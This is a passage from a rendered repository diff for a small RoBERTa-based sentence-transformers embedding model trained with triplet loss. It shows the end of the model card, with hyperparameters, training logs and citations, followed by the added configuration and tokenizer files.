829 |
+
- `weight_decay`: 0.0
|
830 |
+
- `adam_beta1`: 0.9
|
831 |
+
- `adam_beta2`: 0.999
|
832 |
+
- `adam_epsilon`: 1e-08
|
833 |
+
- `max_grad_norm`: 1
|
834 |
+
- `num_train_epochs`: 1
|
835 |
+
- `max_steps`: -1
|
836 |
+
- `lr_scheduler_type`: linear
|
837 |
+
- `lr_scheduler_kwargs`: {}
|
838 |
+
- `warmup_ratio`: 0.0
|
839 |
+
- `warmup_steps`: 0
|
840 |
+
- `log_level`: passive
|
841 |
+
- `log_level_replica`: warning
|
842 |
+
- `log_on_each_node`: True
|
843 |
+
- `logging_nan_inf_filter`: True
|
844 |
+
- `save_safetensors`: True
|
845 |
+
- `save_on_each_node`: False
|
846 |
+
- `save_only_model`: False
|
847 |
+
- `restore_callback_states_from_checkpoint`: False
|
848 |
+
- `no_cuda`: False
|
849 |
+
- `use_cpu`: False
|
850 |
+
- `use_mps_device`: False
|
851 |
+
- `seed`: 42
|
852 |
+
- `data_seed`: None
|
853 |
+
- `jit_mode_eval`: False
|
854 |
+
- `use_ipex`: False
|
855 |
+
- `bf16`: False
|
856 |
+
- `fp16`: True
|
857 |
+
- `fp16_opt_level`: O1
|
858 |
+
- `half_precision_backend`: auto
|
859 |
+
- `bf16_full_eval`: False
|
860 |
+
- `fp16_full_eval`: False
|
861 |
+
- `tf32`: None
|
862 |
+
- `local_rank`: 0
|
863 |
+
- `ddp_backend`: None
|
864 |
+
- `tpu_num_cores`: None
|
865 |
+
- `tpu_metrics_debug`: False
|
866 |
+
- `debug`: []
|
867 |
+
- `dataloader_drop_last`: False
|
868 |
+
- `dataloader_num_workers`: 0
|
869 |
+
- `dataloader_prefetch_factor`: None
|
870 |
+
- `past_index`: -1
|
871 |
+
- `disable_tqdm`: False
|
872 |
+
- `remove_unused_columns`: True
|
873 |
+
- `label_names`: None
|
874 |
+
- `load_best_model_at_end`: False
|
875 |
+
- `ignore_data_skip`: False
|
876 |
+
- `fsdp`: []
|
877 |
+
- `fsdp_min_num_params`: 0
|
878 |
+
- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
|
879 |
+
- `fsdp_transformer_layer_cls_to_wrap`: None
|
880 |
+
- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
|
881 |
+
- `deepspeed`: None
|
882 |
+
- `label_smoothing_factor`: 0.0
|
883 |
+
- `optim`: adamw_torch
|
884 |
+
- `optim_args`: None
|
885 |
+
- `adafactor`: False
|
886 |
+
- `group_by_length`: False
|
887 |
+
- `length_column_name`: length
|
888 |
+
- `ddp_find_unused_parameters`: None
|
889 |
+
- `ddp_bucket_cap_mb`: None
|
890 |
+
- `ddp_broadcast_buffers`: False
|
891 |
+
- `dataloader_pin_memory`: True
|
892 |
+
- `dataloader_persistent_workers`: False
|
893 |
+
- `skip_memory_metrics`: True
|
894 |
+
- `use_legacy_prediction_loop`: False
|
895 |
+
- `push_to_hub`: False
|
896 |
+
- `resume_from_checkpoint`: None
|
897 |
+
- `hub_model_id`: None
|
898 |
+
- `hub_strategy`: every_save
|
899 |
+
- `hub_private_repo`: None
|
900 |
+
- `hub_always_push`: False
|
901 |
+
- `gradient_checkpointing`: False
|
902 |
+
- `gradient_checkpointing_kwargs`: None
|
903 |
+
- `include_inputs_for_metrics`: False
|
904 |
+
- `include_for_metrics`: []
|
905 |
+
- `eval_do_concat_batches`: True
|
906 |
+
- `fp16_backend`: auto
|
907 |
+
- `push_to_hub_model_id`: None
|
908 |
+
- `push_to_hub_organization`: None
|
909 |
+
- `mp_parameters`:
|
910 |
+
- `auto_find_batch_size`: False
|
911 |
+
- `full_determinism`: False
|
912 |
+
- `torchdynamo`: None
|
913 |
+
- `ray_scope`: last
|
914 |
+
- `ddp_timeout`: 1800
|
915 |
+
- `torch_compile`: False
|
916 |
+
- `torch_compile_backend`: None
|
917 |
+
- `torch_compile_mode`: None
|
918 |
+
- `include_tokens_per_second`: False
|
919 |
+
- `include_num_input_tokens_seen`: False
|
920 |
+
- `neftune_noise_alpha`: None
|
921 |
+
- `optim_target_modules`: None
|
922 |
+
- `batch_eval_metrics`: False
|
923 |
+
- `eval_on_start`: False
|
924 |
+
- `use_liger_kernel`: False
|
925 |
+
- `eval_use_gather_object`: False
|
926 |
+
- `average_tokens_across_devices`: False
|
927 |
+
- `prompts`: None
|
928 |
+
- `batch_sampler`: batch_sampler
|
929 |
+
- `multi_dataset_batch_sampler`: round_robin
|
930 |
+
|
931 |
+
</details>
|
932 |
+
|
933 |
+
### Training Logs
|
934 |
+
| Epoch | Step | Training Loss |
|
935 |
+
|:------:|:----:|:-------------:|
|
936 |
+
| 0.2393 | 500 | 0.2031 |
|
937 |
+
| 0.4787 | 1000 | 0.1761 |
|
938 |
+
| 0.7180 | 1500 | 0.1914 |
|
939 |
+
| 0.9574 | 2000 | 0.2044 |
|
940 |
+
|
941 |
+
|
942 |
+
### Framework Versions
|
943 |
+
- Python: 3.11.13
|
944 |
+
- Sentence Transformers: 4.1.0
|
945 |
+
- Transformers: 4.52.4
|
946 |
+
- PyTorch: 2.6.0+cu124
|
947 |
+
- Accelerate: 1.7.0
|
948 |
+
- Datasets: 3.6.0
|
949 |
+
- Tokenizers: 0.21.1
|
950 |
+
|
951 |
+
## Citation
|
952 |
+
|
953 |
+
### BibTeX
|
954 |
+
|
955 |
+
#### Sentence Transformers
|
956 |
+
```bibtex
|
957 |
+
@inproceedings{reimers-2019-sentence-bert,
|
958 |
+
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
|
959 |
+
author = "Reimers, Nils and Gurevych, Iryna",
|
960 |
+
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
|
961 |
+
month = "11",
|
962 |
+
year = "2019",
|
963 |
+
publisher = "Association for Computational Linguistics",
|
964 |
+
url = "https://arxiv.org/abs/1908.10084",
|
965 |
+
}
|
966 |
+
```
|
967 |
+
|
968 |
+
#### BatchAllTripletLoss
|
969 |
+
```bibtex
|
970 |
+
@misc{hermans2017defense,
|
971 |
+
title={In Defense of the Triplet Loss for Person Re-Identification},
|
972 |
+
author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
|
973 |
+
year={2017},
|
974 |
+
eprint={1703.07737},
|
975 |
+
archivePrefix={arXiv},
|
976 |
+
primaryClass={cs.CV}
|
977 |
+
}
|
978 |
+
```
|
979 |
+
|
980 |
+
<!--
|
981 |
+
## Glossary
|
982 |
+
|
983 |
+
*Clearly define terms in order to be accessible across audiences.*
|
984 |
+
-->
|
985 |
+
|
986 |
+
<!--
|
987 |
+
## Model Card Authors
|
988 |
+
|
989 |
+
*Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.*
|
990 |
+
-->
|
991 |
+
|
992 |
+
<!--
|
993 |
+
## Model Card Contact
|
994 |
+
|
995 |
+
*Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.*
|
996 |
+
-->
|
config.json
ADDED
@@ -0,0 +1,26 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"architectures": [
|
3 |
+
"RobertaModel"
|
4 |
+
],
|
5 |
+
"attention_probs_dropout_prob": 0.1,
|
6 |
+
"bos_token_id": 0,
|
7 |
+
"classifier_dropout": null,
|
8 |
+
"eos_token_id": 2,
|
9 |
+
"hidden_act": "gelu",
|
10 |
+
"hidden_dropout_prob": 0.1,
|
11 |
+
"hidden_size": 768,
|
12 |
+
"initializer_range": 0.02,
|
13 |
+
"intermediate_size": 3072,
|
14 |
+
"layer_norm_eps": 1e-05,
|
15 |
+
"max_position_embeddings": 514,
|
16 |
+
"model_type": "roberta",
|
17 |
+
"num_attention_heads": 12,
|
18 |
+
"num_hidden_layers": 6,
|
19 |
+
"pad_token_id": 1,
|
20 |
+
"position_embedding_type": "absolute",
|
21 |
+
"torch_dtype": "float32",
|
22 |
+
"transformers_version": "4.52.4",
|
23 |
+
"type_vocab_size": 1,
|
24 |
+
"use_cache": true,
|
25 |
+
"vocab_size": 52000
|
26 |
+
}
|
config_sentence_transformers.json
ADDED
@@ -0,0 +1,10 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"__version__": {
|
3 |
+
"sentence_transformers": "4.1.0",
|
4 |
+
"transformers": "4.52.4",
|
5 |
+
"pytorch": "2.6.0+cu124"
|
6 |
+
},
|
7 |
+
"prompts": {},
|
8 |
+
"default_prompt_name": null,
|
9 |
+
"similarity_fn_name": "cosine"
|
10 |
+
}
|
merges.txt
ADDED
The diff for this file is too large to render.
See raw diff
|
|
model.safetensors
ADDED
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
1 |
+
version https://git-lfs.github.com/spec/v1
|
2 |
+
oid sha256:8cb322e66a2726d483dca5f0608a912dbc374db3311463079b9ed4664533f372
|
3 |
+
size 333815048
|
modules.json
ADDED
@@ -0,0 +1,14 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
[
|
2 |
+
{
|
3 |
+
"idx": 0,
|
4 |
+
"name": "0",
|
5 |
+
"path": "",
|
6 |
+
"type": "sentence_transformers.models.Transformer"
|
7 |
+
},
|
8 |
+
{
|
9 |
+
"idx": 1,
|
10 |
+
"name": "1",
|
11 |
+
"path": "1_Pooling",
|
12 |
+
"type": "sentence_transformers.models.Pooling"
|
13 |
+
}
|
14 |
+
]
|
sentence_bert_config.json
ADDED
@@ -0,0 +1,4 @@
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"max_seq_length": 512,
|
3 |
+
"do_lower_case": false
|
4 |
+
}
|
special_tokens_map.json
ADDED
@@ -0,0 +1,51 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"bos_token": {
|
3 |
+
"content": "<s>",
|
4 |
+
"lstrip": false,
|
5 |
+
"normalized": true,
|
6 |
+
"rstrip": false,
|
7 |
+
"single_word": false
|
8 |
+
},
|
9 |
+
"cls_token": {
|
10 |
+
"content": "<s>",
|
11 |
+
"lstrip": false,
|
12 |
+
"normalized": true,
|
13 |
+
"rstrip": false,
|
14 |
+
"single_word": false
|
15 |
+
},
|
16 |
+
"eos_token": {
|
17 |
+
"content": "</s>",
|
18 |
+
"lstrip": false,
|
19 |
+
"normalized": true,
|
20 |
+
"rstrip": false,
|
21 |
+
"single_word": false
|
22 |
+
},
|
23 |
+
"mask_token": {
|
24 |
+
"content": "<mask>",
|
25 |
+
"lstrip": true,
|
26 |
+
"normalized": false,
|
27 |
+
"rstrip": false,
|
28 |
+
"single_word": false
|
29 |
+
},
|
30 |
+
"pad_token": {
|
31 |
+
"content": "<pad>",
|
32 |
+
"lstrip": false,
|
33 |
+
"normalized": true,
|
34 |
+
"rstrip": false,
|
35 |
+
"single_word": false
|
36 |
+
},
|
37 |
+
"sep_token": {
|
38 |
+
"content": "</s>",
|
39 |
+
"lstrip": false,
|
40 |
+
"normalized": true,
|
41 |
+
"rstrip": false,
|
42 |
+
"single_word": false
|
43 |
+
},
|
44 |
+
"unk_token": {
|
45 |
+
"content": "<unk>",
|
46 |
+
"lstrip": false,
|
47 |
+
"normalized": true,
|
48 |
+
"rstrip": false,
|
49 |
+
"single_word": false
|
50 |
+
}
|
51 |
+
}
|
tokenizer.json
ADDED
The diff for this file is too large to render.
See raw diff
|
|
tokenizer_config.json
ADDED
@@ -0,0 +1,59 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"add_prefix_space": false,
|
3 |
+
"added_tokens_decoder": {
|
4 |
+
"0": {
|
5 |
+
"content": "<s>",
|
6 |
+
"lstrip": false,
|
7 |
+
"normalized": true,
|
8 |
+
"rstrip": false,
|
9 |
+
"single_word": false,
|
10 |
+
"special": true
|
11 |
+
},
|
12 |
+
"1": {
|
13 |
+
"content": "<pad>",
|
14 |
+
"lstrip": false,
|
15 |
+
"normalized": true,
|
16 |
+
"rstrip": false,
|
17 |
+
"single_word": false,
|
18 |
+
"special": true
|
19 |
+
},
|
20 |
+
"2": {
|
21 |
+
"content": "</s>",
|
22 |
+
"lstrip": false,
|
23 |
+
"normalized": true,
|
24 |
+
"rstrip": false,
|
25 |
+
"single_word": false,
|
26 |
+
"special": true
|
27 |
+
},
|
28 |
+
"3": {
|
29 |
+
"content": "<unk>",
|
30 |
+
"lstrip": false,
|
31 |
+
"normalized": true,
|
32 |
+
"rstrip": false,
|
33 |
+
"single_word": false,
|
34 |
+
"special": true
|
35 |
+
},
|
36 |
+
"4": {
|
37 |
+
"content": "<mask>",
|
38 |
+
"lstrip": true,
|
39 |
+
"normalized": false,
|
40 |
+
"rstrip": false,
|
41 |
+
"single_word": false,
|
42 |
+
"special": true
|
43 |
+
}
|
44 |
+
},
|
45 |
+
"bos_token": "<s>",
|
46 |
+
"clean_up_tokenization_spaces": false,
|
47 |
+
"cls_token": "<s>",
|
48 |
+
"eos_token": "</s>",
|
49 |
+
"errors": "replace",
|
50 |
+
"extra_special_tokens": {},
|
51 |
+
"mask_token": "<mask>",
|
52 |
+
"max_len": 512,
|
53 |
+
"model_max_length": 512,
|
54 |
+
"pad_token": "<pad>",
|
55 |
+
"sep_token": "</s>",
|
56 |
+
"tokenizer_class": "RobertaTokenizer",
|
57 |
+
"trim_offsets": true,
|
58 |
+
"unk_token": "<unk>"
|
59 |
+
}
|
vocab.json
ADDED
The diff for this file is too large to render.
See raw diff
|
|